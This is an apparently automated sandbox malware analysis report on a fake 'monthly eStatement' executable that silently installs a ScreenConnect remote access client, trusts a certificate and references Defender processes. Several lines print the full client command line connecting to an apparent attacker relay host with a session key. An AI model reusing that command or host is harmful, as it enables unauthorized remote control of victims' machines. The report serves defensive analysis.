Source: ScreenConnect.ClientService.dll.2.dr, ClientService.cs	Reference to suspicious API methods: WindowsExtensions.OpenProcess(processID, (ProcessAccess)33554432)
Source: ScreenConnect.Windows.dll.2.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.VirtualAlloc(attemptImageBase, dwSize, WindowsNative.MEM.MEM_COMMIT \| WindowsNative.MEM.MEM_RESERVE, WindowsNative.PAGE.PAGE_READWRITE)
Source: ScreenConnect.Windows.dll.2.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.LoadLibrary(loadedImageBase + ptr[i].Name)
Source: ScreenConnect.Windows.dll.2.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.GetProcAddress(intPtr, ptr5)
Source: ScreenConnect.Windows.dll.2.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.VirtualProtect(loadedImageBase + sectionHeaders[i].VirtualAddress, (IntPtr)num, flNewProtect, &pAGE)

Creates a process in suspended mode (likely to inject code)

Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2260 -ip 2260	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 700	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session" "1"	Jump to behavior

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\o0ajlz89.o67\32b9qcnc.lyy\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\screenconnect.clientservice.exe" "?e=support&y=guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=bgiaaackaabsu0exaagaaaeaaqcpdljbb2ucjqst7j%2beal4srxbn9fngdmzusse%2fjh%2bnkbeoqfhq%2bcr3lypd1ksb17orwp4zvhy7bt585yzidtesloqjgvuwzeifwaakwkfbshg%2fh8gyvt85w1oivud0hejmjtqedcojxvxpd4ojuqhoqhbbylosnsbfrtp0r040%2bcfkcnslvuf01cnsbcaeyuefrkiz%2b8o0yjwrixe6vdrb5cxn%2bauv36m92%2b6%2fhnc5srzm45hr1fu47wa4rara8onacyafp32je3t2cm7eekmt%2bs6hwkgazmp0vlkbgpw3wnp85fhslyn9uz3eztsbn%2f97cfe2jsav4%2brdgima3na8&r=&i=newboom%20session" "1"
Source: unknown	Process created: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\o0ajlz89.o67\32b9qcnc.lyy\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\screenconnect.clientservice.exe" "?e=support&y=guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=bgiaaackaabsu0exaagaaaeaaqcpdljbb2ucjqst7j%2beal4srxbn9fngdmzusse%2fjh%2bnkbeoqfhq%2bcr3lypd1ksb17orwp4zvhy7bt585yzidtesloqjgvuwzeifwaakwkfbshg%2fh8gyvt85w1oivud0hejmjtqedcojxvxpd4ojuqhoqhbbylosnsbfrtp0r040%2bcfkcnslvuf01cnsbcaeyuefrkiz%2b8o0yjwrixe6vdrb5cxn%2bauv36m92%2b6%2fhnc5srzm45hr1fu47wa4rara8onacyafp32je3t2cm7eekmt%2bs6hwkgazmp0vlkbgpw3wnp85fhslyn9uz3eztsbn%2f97cfe2jsav4%2brdgima3na8&r=&i=newboom%20session" "1"
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\o0ajlz89.o67\32b9qcnc.lyy\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\screenconnect.clientservice.exe" "?e=support&y=guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=bgiaaackaabsu0exaagaaaeaaqcpdljbb2ucjqst7j%2beal4srxbn9fngdmzusse%2fjh%2bnkbeoqfhq%2bcr3lypd1ksb17orwp4zvhy7bt585yzidtesloqjgvuwzeifwaakwkfbshg%2fh8gyvt85w1oivud0hejmjtqedcojxvxpd4ojuqhoqhbbylosnsbfrtp0r040%2bcfkcnslvuf01cnsbcaeyuefrkiz%2b8o0yjwrixe6vdrb5cxn%2bauv36m92%2b6%2fhnc5srzm45hr1fu47wa4rara8onacyafp32je3t2cm7eekmt%2bs6hwkgazmp0vlkbgpw3wnp85fhslyn9uz3eztsbn%2f97cfe2jsav4%2brdgima3na8&r=&i=newboom%20session" "1"	Jump to behavior

Source: ScreenConnect.WindowsClient.exe, 00000009.00000000.2436546858.0000000000BA2000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsClient.exe.2.dr	Binary or memory string: Progman
Source: ScreenConnect.WindowsClient.exe, 00000009.00000000.2436546858.0000000000BA2000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsClient.exe.2.dr	Binary or memory string: Shell_TrayWnd-Shell_SecondaryTrayWnd%MsgrIMEWindowClass

Language, Device and Operating System Detection

Contains functionality to query CPU information (cpuid)

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Code function: 0_2_009A1BD4 cpuid

0_2_009A1BD4

Queries the volume information (name, serial number etc) of a device

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.ClientService.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsBackstageShell.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsFileManager.exe.config VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsClient.exe.config VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsBackstageShell.exe.config VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsFileManager.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.Client.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.Client.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.dll VolumeInformation

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Code function: 0_2_009A1806 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_009A1806

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

AV process strings found (often used to terminate AV products)

Source: Amcache.hve.5.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: MsMpEng.exe

Adds / modifies Windows certificates

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C Blob

Jump to behavior

Remote Access Functionality

Yara detected ScreenConnect Tool

Source: Yara match	File source: 9.0.ScreenConnect.WindowsClient.exe.ba0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000000.2436546858.0000000000BA2000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2973425425.0000025D1D9AB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dfsvc.exe PID: 6172, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ScreenConnect.WindowsClient.exe PID: 5432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ScreenConnect.ClientService.exe PID: 5764, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	21 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 DLL Search Order Hijacking	1 DLL Search Order Hijacking	1 Obfuscated Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	2 Windows Service	2 Windows Service	1 Install Root Certificate	Security Account Manager	34 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	12 Process Injection	1 Timestomp	NTDS	51 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	1 Bootkit	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Search Order Hijacking	Cached Domain Credentials	51 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
